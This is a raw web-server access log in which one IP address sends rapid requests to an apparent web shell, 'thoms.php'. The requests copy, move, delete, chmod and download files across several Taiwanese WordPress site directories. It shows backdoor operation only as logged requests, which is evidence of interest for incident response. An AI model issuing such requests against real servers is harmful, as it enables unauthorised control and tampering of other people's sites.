45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13610 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22083 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22050 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28638 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2Fsync-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13412 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known HTTP/1.1" 200 12579 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19384 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13472 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /error_log-20260912023633. HTTP/1.1" 200 8794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22068 "http://163.245.207.76:443/thoms.php?del=error_log-20260912023633.&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12316 "http://163.245.207.76:443/thoms.php?copy=error_log-20260912023633.&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?chmod=error_log-20260912023633.&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12239 "http://163.245.207.76:443/thoms.php?p=&view=error_log-20260912023633." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22051 "http://163.245.207.76:443/thoms.php?dl=error_log-20260912023633.&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 14177 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 13283 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 13429 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17711 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 13612 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:14 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17712 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 12596 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22035 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22051 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22123 "https://163.245.207.76:443/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22050 "https://163.245.207.76:443/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22084 "https://163.245.207.76:443/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:15 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22033 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22042 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 200 13216 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22013 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22022 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22117 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22052 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22050 "https://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&finish=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12528 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:16 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12528 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13625 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13271 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
